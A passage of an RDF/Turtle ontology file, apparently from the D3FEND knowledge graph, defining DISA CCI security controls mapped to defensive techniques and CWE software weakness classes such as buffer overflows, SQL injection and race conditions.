    d3f:narrower d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002724_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002724" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system, upon detection of a potential integrity violation, initiates one or more of the following actions: generates an audit record; alerts the current user; alerts organization-defined personnel or roles; and/or organization-defined other actions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DriverLoadIntegrityChecking,
        d3f:FileHashing,
        d3f:PointerAuthentication,
        d3f:TPMBootIntegrity ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002726_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002726" ;
    d3f:broader d3f:DriverLoadIntegrityChecking,
        d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system verifies the integrity of the boot process of organization-defined devices." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002729_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002729" ;
    d3f:broader d3f:DriverLoadIntegrityChecking,
        d3f:TPMBootIntegrity ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements organization-defined security safeguards to protect the integrity of boot firmware in organization-defined devices." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002740_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002740" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to authenticate organization-defined software or firmware components prior to installation." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:ExecutableAllowlisting ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002743_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002743" ;
    d3f:broader d3f:SenderMTAReputationAnalysis,
        d3f:SenderReputationAnalysis ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements spam protection mechanisms with a learning capability to more effectively identify legitimate communications traffic." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002746_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002746" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides a manual override capability for input validation of organization-defined inputs." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DatabaseQueryStringAnalysis ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002748_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002748" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system restricts the use of the manual override capability to only organization-defined authorized individuals." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DatabaseQueryStringAnalysis ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002749_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002749" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system audits the use of the manual override capability." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:DatabaseQueryStringAnalysis ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002771_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002771" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system validates information output from organization-defined software programs and/or applications to ensure that the information is consistent with the expected content." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:OutboundTrafficFiltering ;
    d3f:published "2013-07-11T00:00:00"^^xsd:dateTime .

d3f:CCI-002824_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002824" ;
    d3f:broader d3f:DeadCodeElimination,
        d3f:ProcessSegmentExecutionPrevention,
        d3f:SegmentAddressOffsetRandomization,
        d3f:StackFrameCanaryValidation ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements organization-defined security safeguards to protect its memory from unauthorized code execution." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-07-12T00:00:00"^^xsd:dateTime .

d3f:CCI-002883_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002883" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system restricts the use of maintenance tools to authorized personnel only." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:UserAccountPermissions ;
    d3f:published "2013-07-22T00:00:00"^^xsd:dateTime .

d3f:CCI-002890_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002890" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the integrity of nonlocal maintenance and diagnostic communications." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-07-22T00:00:00"^^xsd:dateTime .

d3f:CCI-002891_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-002891" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements remote disconnect verification at the termination of nonlocal maintenance and diagnostic sessions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:RemoteTerminalSessionDetection ;
    d3f:published "2013-07-22T00:00:00"^^xsd:dateTime .

d3f:CCI-003014_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-003014" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces organization-defined mandatory access control policies over all subjects and objects." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2013-08-30T00:00:00"^^xsd:dateTime .

d3f:CCI-003123_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-003123" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system implements cryptographic mechanisms to protect the confidentiality of nonlocal maintenance and diagnostic communications." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:EncryptedTunnels ;
    d3f:published "2013-09-24T00:00:00"^^xsd:dateTime .

d3f:CWE-1105 a owl:Class ;
    rdfs:label "Insufficient Encapsulation of Machine-Dependent Functionality" ;
    d3f:cwe-id "CWE-1105" ;
    d3f:definition "The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code." ;
    rdfs:subClassOf d3f:CWE-1061,
        d3f:CWE-758 .

d3f:CWE-118 a owl:Class ;
    rdfs:label "Incorrect Access of Indexable Resource ('Range Error')" ;
    d3f:cwe-id "CWE-118" ;
    d3f:definition "The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-1188 a owl:Class ;
    rdfs:label "Initialization of a Resource with an Insecure Default",
        "Insecure Default Initialization of Resource" ;
    d3f:cwe-id "CWE-1188" ;
    d3f:definition "The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure." ;
    rdfs:subClassOf d3f:CWE-1419,
        d3f:CWE-665 .

d3f:CWE-1189 a owl:Class ;
    rdfs:label "Improper Isolation of Shared Resources on System-on-a-Chip (SoC)" ;
    d3f:cwe-id "CWE-1189" ;
    d3f:definition "The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents." ;
    rdfs:subClassOf d3f:CWE-653,
        d3f:CWE-668 .

d3f:CWE-120 a owl:Class ;
    rdfs:label "Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')" ;
    d3f:cwe-id "CWE-120" ;
    d3f:definition "The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow." ;
    d3f:synonym "Classic Buffer Overflow",
        "Unbounded Transfer" ;
    rdfs:subClassOf d3f:CWE-119,
        d3f:CWE-787 .

d3f:CWE-1204 a owl:Class ;
    rdfs:label "Generation of Weak Initialization Vector (IV)" ;
    d3f:cwe-id "CWE-1204" ;
    d3f:definition "The product uses a cryptographic primitive that uses an Initialization Vector (IV), but the product does not generate IVs that are sufficiently unpredictable or unique according to the expected cryptographic requirements for that primitive." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-1220 a owl:Class ;
    rdfs:label "Insufficient Granularity of Access Control" ;
    d3f:cwe-id "CWE-1220" ;
    d3f:definition "The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1229 a owl:Class ;
    rdfs:label "Creation of Emergent Resource" ;
    d3f:cwe-id "CWE-1229" ;
    d3f:definition "The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-1263 a owl:Class ;
    rdfs:label "Improper Physical Access Control" ;
    d3f:cwe-id "CWE-1263" ;
    d3f:definition "The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1286 a owl:Class ;
    rdfs:label "Improper Validation of Syntactic Correctness of Input" ;
    d3f:cwe-id "CWE-1286" ;
    d3f:definition "The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-1294 a owl:Class ;
    rdfs:label "Insecure Security Identifier Mechanism" ;
    d3f:cwe-id "CWE-1294" ;
    d3f:definition "The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-1300 a owl:Class ;
    rdfs:label "Improper Protection of Physical Side Channels" ;
    d3f:cwe-id "CWE-1300" ;
    d3f:definition "The device does not contain sufficient protection mechanisms to prevent physical side channels from exposing sensitive information due to patterns in physically observable phenomena such as variations in power consumption, electromagnetic emissions (EME), or acoustic emissions." ;
    rdfs:subClassOf d3f:CWE-203 .

d3f:CWE-1301 a owl:Class ;
    rdfs:label "Insufficient or Incomplete Data Removal within Hardware Component" ;
    d3f:cwe-id "CWE-1301" ;
    d3f:definition "The product's data removal process does not completely delete all data and potentially sensitive information within hardware components." ;
    rdfs:subClassOf d3f:CWE-226 .

d3f:CWE-131 a owl:Class ;
    rdfs:label "Incorrect Calculation of Buffer Size" ;
    d3f:cwe-id "CWE-131" ;
    d3f:definition "The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow." ;
    rdfs:subClassOf d3f:CWE-682 .

d3f:CWE-1341 a owl:Class ;
    rdfs:label "Multiple Releases of Same Resource or Handle" ;
    d3f:cwe-id "CWE-1341" ;
    d3f:definition "The product attempts to close or release a resource or handle more than once, without any successful open between the close operations." ;
    rdfs:subClassOf d3f:CWE-675 .

d3f:CWE-147 a owl:Class ;
    rdfs:label "Improper Neutralization of Input Terminators" ;
    d3f:cwe-id "CWE-147" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-155 a owl:Class ;
    rdfs:label "Improper Neutralization of Wildcards or Matching Symbols" ;
    d3f:cwe-id "CWE-155" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-161 a owl:Class ;
    rdfs:label "Improper Neutralization of Multiple Leading Special Elements" ;
    d3f:cwe-id "CWE-161" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-160 .

d3f:CWE-164 a owl:Class ;
    rdfs:label "Improper Neutralization of Internal Special Elements" ;
    d3f:cwe-id "CWE-164" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-183 a owl:Class ;
    rdfs:label "Permissive List of Allowed Inputs" ;
    d3f:cwe-id "CWE-183" ;
    d3f:definition "The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses." ;
    d3f:synonym "Allowlist / Allow List",
        "Safelist / Safe List",
        "Whitelist / White List" ;
    rdfs:subClassOf d3f:CWE-697 .

d3f:CWE-184 a owl:Class ;
    rdfs:label "Incomplete List of Disallowed Inputs" ;
    d3f:cwe-id "CWE-184" ;
    d3f:definition "The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete." ;
    d3f:synonym "Blacklist / Black List",
        "Blocklist / Block List",
        "Denylist / Deny List" ;
    rdfs:subClassOf d3f:CWE-1023,
        d3f:CWE-693 .

d3f:CWE-188 a owl:Class ;
    rdfs:label "Reliance on Data/Memory Layout" ;
    d3f:cwe-id "CWE-188" ;
    d3f:definition "The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior." ;
    rdfs:subClassOf d3f:CWE-1105,
        d3f:CWE-435 .

d3f:CWE-190 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Integer Overflow or Wraparound" ;
    d3f:cwe-id "CWE-190" ;
    d3f:definition "The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number." ;
    d3f:synonym "Overflow",
        "Wraparound",
        "wrap, wrap-around, wrap around" ;
    d3f:weakness-of d3f:MathematicalFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:MathematicalFunction ],
        d3f:CWE-682 .

d3f:CWE-201 a owl:Class ;
    rdfs:label "Insertion of Sensitive Information Into Sent Data" ;
    d3f:cwe-id "CWE-201" ;
    d3f:definition "The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor." ;
    rdfs:subClassOf d3f:CWE-200 .

d3f:CWE-208 a owl:Class ;
    rdfs:label "Observable Timing Discrepancy" ;
    d3f:cwe-id "CWE-208" ;
    d3f:definition "Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not." ;
    rdfs:subClassOf d3f:CWE-203 .

d3f:CWE-219 a owl:Class ;
    rdfs:label "Storage of File with Sensitive Data Under Web Root" ;
    d3f:cwe-id "CWE-219" ;
    d3f:definition "The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties." ;
    rdfs:subClassOf d3f:CWE-552 .

d3f:CWE-240 a owl:Class ;
    rdfs:label "Improper Handling of Inconsistent Structural Elements" ;
    d3f:cwe-id "CWE-240" ;
    d3f:definition "The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not." ;
    rdfs:subClassOf d3f:CWE-237,
        d3f:CWE-707 .

d3f:CWE-248 a owl:Class ;
    rdfs:label "Uncaught Exception" ;
    d3f:cwe-id "CWE-248" ;
    d3f:definition "An exception is thrown from a function, but it is not caught." ;
    rdfs:subClassOf d3f:CWE-703,
        d3f:CWE-705,
        d3f:CWE-755 .

d3f:CWE-252 a owl:Class ;
    rdfs:label "Unchecked Return Value" ;
    d3f:cwe-id "CWE-252" ;
    d3f:definition "The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions." ;
    rdfs:subClassOf d3f:CWE-754 .

d3f:CWE-267 a owl:Class ;
    rdfs:label "Privilege Defined With Unsafe Actions" ;
    d3f:cwe-id "CWE-267" ;
    d3f:definition "A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-286 a owl:Class ;
    rdfs:label "Incorrect User Management" ;
    d3f:cwe-id "CWE-286" ;
    d3f:definition "The product does not properly manage a user within its environment." ;
    rdfs:subClassOf d3f:CWE-284 .

d3f:CWE-299 a owl:Class ;
    rdfs:label "Improper Check for Certificate Revocation" ;
    d3f:cwe-id "CWE-299" ;
    d3f:definition "The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised." ;
    rdfs:subClassOf d3f:CWE-295,
        d3f:CWE-404 .

d3f:CWE-303 a owl:Class ;
    rdfs:label "Incorrect Implementation of Authentication Algorithm" ;
    d3f:cwe-id "CWE-303" ;
    d3f:definition "The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-326 a owl:Class ;
    rdfs:label "Inadequate Encryption Strength" ;
    d3f:cwe-id "CWE-326" ;
    d3f:definition "The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-328 a owl:Class ;
    rdfs:label "Use of Weak Hash" ;
    d3f:cwe-id "CWE-328" ;
    d3f:definition "The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack)." ;
    rdfs:subClassOf d3f:CWE-326,
        d3f:CWE-327 .

d3f:CWE-334 a owl:Class ;
    rdfs:label "Small Space of Random Values" ;
    d3f:cwe-id "CWE-334" ;
    d3f:definition "The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks." ;
    rdfs:subClassOf d3f:CWE-330 .

d3f:CWE-357 a owl:Class ;
    rdfs:label "Insufficient UI Warning of Dangerous Operations" ;
    d3f:cwe-id "CWE-357" ;
    d3f:definition "The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-360 a owl:Class ;
    rdfs:label "Trust of System Event Data" ;
    d3f:cwe-id "CWE-360" ;
    d3f:definition "Security based on event locations are insecure and can be spoofed." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-367 a owl:Class ;
    rdfs:label "Time-of-check Time-of-use (TOCTOU) Race Condition" ;
    d3f:cwe-id "CWE-367" ;
    d3f:definition "The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state." ;
    d3f:synonym "TOCCTOU",
        "TOCTTOU" ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-407 a owl:Class ;
    rdfs:label "Inefficient Algorithmic Complexity" ;
    d3f:cwe-id "CWE-407" ;
    d3f:definition "An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached." ;
    d3f:synonym "Quadratic Complexity" ;
    rdfs:subClassOf d3f:CWE-405 .

d3f:CWE-413 a owl:Class ;
    rdfs:label "Improper Resource Locking" ;
    d3f:cwe-id "CWE-413" ;
    d3f:definition "The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-42 a owl:Class ;
    rdfs:label "Path Equivalence: 'filename.' (Trailing Dot)" ;
    d3f:cwe-id "CWE-42" ;
    d3f:definition "The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-162,
        d3f:CWE-41 .

d3f:CWE-424 a owl:Class ;
    rdfs:label "Improper Protection of Alternate Path" ;
    d3f:cwe-id "CWE-424" ;
    d3f:definition "The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources." ;
    rdfs:subClassOf d3f:CWE-638,
        d3f:CWE-693 .

d3f:CWE-44 a owl:Class ;
    rdfs:label "Path Equivalence: 'file.name' (Internal Dot)" ;
    d3f:cwe-id "CWE-44" ;
    d3f:definition "The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files." ;
    rdfs:subClassOf d3f:CWE-41 .

d3f:CWE-474 a owl:Class ;
    rdfs:label "Use of Function with Inconsistent Implementations" ;
    d3f:cwe-id "CWE-474" ;
    d3f:definition "The code uses a function that has inconsistent implementations across operating systems and versions." ;
    rdfs:subClassOf d3f:CWE-758 .

d3f:CWE-476 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "NULL Pointer Dereference" ;
    d3f:cwe-id "CWE-476" ;
    d3f:definition "The product dereferences a pointer that it expects to be valid but is NULL." ;
    d3f:synonym "NPD",
        "NPE",
        "nil pointer dereference",
        "null deref" ;
    d3f:weakness-of d3f:PointerDereferencingFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:PointerDereferencingFunction ],
        d3f:CWE-710,
        d3f:CWE-754 .

d3f:CWE-489 a owl:Class ;
    rdfs:label "Active Debug Code" ;
    d3f:cwe-id "CWE-489" ;
    d3f:definition "The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information." ;
    d3f:synonym "Leftover debug code" ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:CWE-493 a owl:Class ;
    rdfs:label "Critical Public Variable Without Final Modifier" ;
    d3f:cwe-id "CWE-493" ;
    d3f:definition "The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-521 a owl:Class ;
    rdfs:label "Weak Password Requirements" ;
    d3f:cwe-id "CWE-521" ;
    d3f:definition "The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts." ;
    rdfs:subClassOf d3f:CWE-1391 .

d3f:CWE-524 a owl:Class ;
    rdfs:label "Use of Cache Containing Sensitive Information" ;
    d3f:cwe-id "CWE-524" ;
    d3f:definition "The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-565 a owl:Class ;
    rdfs:label "Reliance on Cookies without Validation and Integrity Checking" ;
    d3f:cwe-id "CWE-565" ;
    d3f:definition "The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user." ;
    rdfs:subClassOf d3f:CWE-602,
        d3f:CWE-642 .

d3f:CWE-595 a owl:Class ;
    rdfs:label "Comparison of Object References Instead of Object Contents" ;
    d3f:cwe-id "CWE-595" ;
    d3f:definition "The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects." ;
    rdfs:subClassOf d3f:CWE-1025 .

d3f:CWE-625 a owl:Class ;
    rdfs:label "Permissive Regular Expression" ;
    d3f:cwe-id "CWE-625" ;
    d3f:definition "The product uses a regular expression that does not sufficiently restrict the set of allowed values." ;
    rdfs:subClassOf d3f:CWE-185 .

d3f:CWE-636 a owl:Class ;
    rdfs:label "Not Failing Securely ('Failing Open')" ;
    d3f:cwe-id "CWE-636" ;
    d3f:definition "When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions." ;
    d3f:synonym "Failing Open" ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-755 .

d3f:CWE-638 a owl:Class ;
    rdfs:label "Not Using Complete Mediation" ;
    d3f:cwe-id "CWE-638" ;
    d3f:definition "The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time." ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-862 .

d3f:CWE-639 a owl:Class ;
    rdfs:label "Authorization Bypass Through User-Controlled Key" ;
    d3f:cwe-id "CWE-639" ;
    d3f:definition "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data." ;
    d3f:synonym "Broken Object Level Authorization / BOLA",
        "Horizontal Authorization",
        "Insecure Direct Object Reference / IDOR" ;
    rdfs:subClassOf d3f:CWE-863 .

d3f:CWE-673 a owl:Class ;
    rdfs:label "External Influence of Sphere Definition" ;
    d3f:cwe-id "CWE-673" ;
    d3f:definition "The product does not prevent the definition of control spheres from external actors." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CWE-674 a owl:Class ;
    rdfs:label "Uncontrolled Recursion" ;
    d3f:cwe-id "CWE-674" ;
    d3f:definition "The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack." ;
    d3f:synonym "Stack Exhaustion" ;
    rdfs:subClassOf d3f:CWE-834 .

d3f:CWE-676 a owl:Class ;
    rdfs:label "Use of Potentially Dangerous Function" ;
    d3f:cwe-id "CWE-676" ;
    d3f:definition "The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely." ;
    rdfs:subClassOf d3f:CWE-1177 .

d3f:CWE-687 a owl:Class ;
    rdfs:label "Function Call With Incorrectly Specified Argument Value" ;
    d3f:cwe-id "CWE-687" ;
    d3f:definition "The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-628 .

d3f:CWE-73 a owl:Class ;
    rdfs:label "External Control of File Name or Path" ;
    d3f:cwe-id "CWE-73" ;
    d3f:definition "The product allows user input to control or influence paths or file names that are used in filesystem operations." ;
    rdfs:subClassOf d3f:CWE-610,
        d3f:CWE-642 .

d3f:CWE-733 a owl:Class ;
    rdfs:label "Compiler Optimization Removal or Modification of Security-critical Code" ;
    d3f:cwe-id "CWE-733" ;
    d3f:definition "The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified." ;
    rdfs:subClassOf d3f:CWE-1038 .

d3f:CWE-75 a owl:Class ;
    rdfs:label "Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)" ;
    d3f:cwe-id "CWE-75" ;
    d3f:definition "The product does not adequately filter user-controlled input for special elements with control implications." ;
    rdfs:subClassOf d3f:CWE-74 .

d3f:CWE-762 a owl:Class ;
    rdfs:label "Mismatched Memory Management Routines" ;
    d3f:cwe-id "CWE-762" ;
    d3f:definition "The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource." ;
    rdfs:subClassOf d3f:CWE-763 .

d3f:CWE-771 a owl:Class ;
    rdfs:label "Missing Reference to Active Allocated Resource" ;
    d3f:cwe-id "CWE-771" ;
    d3f:definition "The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed." ;
    rdfs:subClassOf d3f:CWE-400 .

d3f:CWE-790 a owl:Class ;
    rdfs:label "Improper Filtering of Special Elements" ;
    d3f:cwe-id "CWE-790" ;
    d3f:definition "The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component." ;
    rdfs:subClassOf d3f:CWE-138 .

d3f:CWE-805 a owl:Class ;
    rdfs:label "Buffer Access with Incorrect Length Value" ;
    d3f:cwe-id "CWE-805" ;
    d3f:definition "The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer." ;
    rdfs:subClassOf d3f:CWE-119 .

d3f:CWE-828 a owl:Class ;
    rdfs:label "Signal Handler with Functionality that is not Asynchronous-Safe" ;
    d3f:cwe-id "CWE-828" ;
    d3f:definition "The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted." ;
    rdfs:subClassOf d3f:CWE-364 .

d3f:CWE-83 a owl:Class ;
    rdfs:label "Improper Neutralization of Script in Attributes in a Web Page" ;
    d3f:cwe-id "CWE-83" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes \"javascript:\" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style." ;
    rdfs:subClassOf d3f:CWE-79 .

d3f:CWE-89 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" ;
    d3f:cwe-id "CWE-89" ;
    d3f:definition "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." ;
    d3f:synonym "SQL injection",
        "SQLi" ;
    d3f:weakness-of d3f:UserInputFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
